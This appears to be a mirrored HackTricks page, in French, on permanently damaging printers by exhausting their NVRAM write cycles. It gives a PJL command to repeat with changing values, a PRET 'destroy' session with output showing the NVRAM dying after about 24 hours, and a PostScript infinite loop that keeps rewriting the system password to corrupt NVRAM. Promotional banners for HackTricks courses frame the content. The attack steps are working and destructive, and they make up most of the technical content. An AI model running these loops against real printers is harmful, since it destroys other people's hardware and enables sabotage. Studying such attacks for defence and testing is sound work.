mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 15:08:29 +00:00
66 lines
4.6 KiB
Markdown
66 lines
4.6 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres moyens de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
|
|
Les paramètres à long terme pour les imprimantes et autres dispositifs embarqués sont stockés dans une mémoire non volatile ([NVRAM](https://en.wikipedia.org/wiki/Non-volatile\_random-access\_memory)), qui est traditionnellement mise en œuvre soit comme [EEPROM](https://en.wikipedia.org/wiki/EEPROM) ou comme [mémoire flash](https://en.wikipedia.org/wiki/Flash\_memory). Ces composants ont une durée de vie limitée. Aujourd'hui, les fournisseurs de mémoire flash garantissent environ 100 000 réécritures avant que des erreurs d'écriture puissent survenir.
|
|
|
|
## PJL
|
|
|
|
Pour un test pratique visant à détruire la fonctionnalité d'écriture NVRAM, on peut continuellement définir la valeur à long terme pour le nombre de copies avec différentes valeurs pour `X` :
|
|
```
|
|
@PJL DEFAULT COPIES=X
|
|
```
|
|
Habituellement, avant d'arrêter d'autoriser l'écriture, les paramètres NVRAM sont fixés à la valeur par défaut de l'usine et toutes les variables pourraient encore être modifiées pour le travail d'impression actuel en utilisant la commande `@PJL SET...`.
|
|
|
|
En utilisant [PRET](https://github.com/RUB-NDS/PRET) :
|
|
```
|
|
./pret.py -q printer pjl
|
|
Connection to printer established
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
printer:/> destroy
|
|
Warning: This command tries to cause physical damage to the
|
|
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
|
|
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
|
|
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
|
|
[... wait for about 24 hours ...]
|
|
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
|
|
NVRAM died after 543894 cycles, 18:46:11
|
|
```
|
|
## PostScript
|
|
|
|
Pour PostScript, il faut trouver une entrée dans le dictionnaire currentsystemparams qui survit à un redémarrage (et doit donc être stockée dans une sorte de NVRAM). Un bon candidat serait un mot de passe PostScript.\
|
|
PostScript peut exécuter un script qui corrompt sa propre NVRAM :
|
|
```
|
|
/counter 0 def
|
|
{ << /Password counter 16 string cvs
|
|
/SystemParamsPassword counter 1 add 16 string cvs
|
|
>> setsystemparams /counter counter 1 add def
|
|
} loop
|
|
```
|
|
**Plus d'informations sur ces techniques sont disponibles sur** [**http://hacking-printers.net/wiki/index.php/Physical\_damage**](http://hacking-printers.net/wiki/index.php/Physical\_damage)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres moyens de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm).
|
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|